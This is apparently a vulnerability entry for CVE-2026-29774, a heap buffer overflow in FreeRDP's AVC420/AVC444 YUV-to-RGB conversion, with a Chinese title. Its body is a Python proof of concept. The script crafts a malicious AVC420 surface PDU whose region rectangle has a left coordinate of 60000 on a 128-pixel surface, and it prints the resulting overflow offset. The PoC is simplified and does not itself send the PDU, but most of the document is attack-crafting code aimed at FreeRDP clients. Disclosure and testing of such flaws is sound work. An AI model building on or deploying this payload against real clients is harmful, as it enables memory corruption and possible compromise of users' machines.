CVE-2026-29774 FreeRDP AVC420/AVC444 YUV转RGB堆缓冲区溢出漏洞

# PoC: Malicious FreeRDP Server sending oversized rect->left # This PoC demonstrates the concept of crafting a malicious WIRE_TO_SURFACE_PDU_1 # with AVC420 codec containing regionRects with left value exceeding surface width import struct def craft_malicious_avc420_pdu(): """ Craft a malicious AVC420 PDU with oversized rect->left coordinate """ # Surface dimensions: 128x128 surface_width = 128 surface_height = 128 # Malicious left coordinate - far exceeds surface width malicious_left = 60000 malicious_top = 0 malicious_right = malicious_left + 16 malicious_bottom = 16 # Region rectangle structure (H.264 metablock) region_rect = struct.pack('<IIII', malicious_left, # left - exceeds surface width malicious_top, # top malicious_right, # right malicious_bottom # bottom ) # AVC420 header avc420_header = b'\x01\x04' # AVC420 codec identifier # Number of region rectangles num_rects = struct.pack('<I', 1) # Craft the complete PDU pdu = avc420_header + num_rects + region_rect # Add H.264 bitstream data (minimal valid data) # In real attack, this would be a complete H.264 stream h264_nalu = b'\x00\x00\x00\x01\x65' + b'\x00' * 100 pdu += h264_nalu return pdu def send_malicious_pdu(): """ Simulate sending malicious PDU to FreeRDP client """ pdu = craft_malicious_avc420_pdu() print(f"Crafted malicious PDU ({len(pdu)} bytes)") print(f"Malicious rect->left: 60000 (surface width: 128)") print(f"Overflow offset: {60000 * 4} bytes from buffer start") return pdu if __name__ == '__main__': send_malicious_pdu()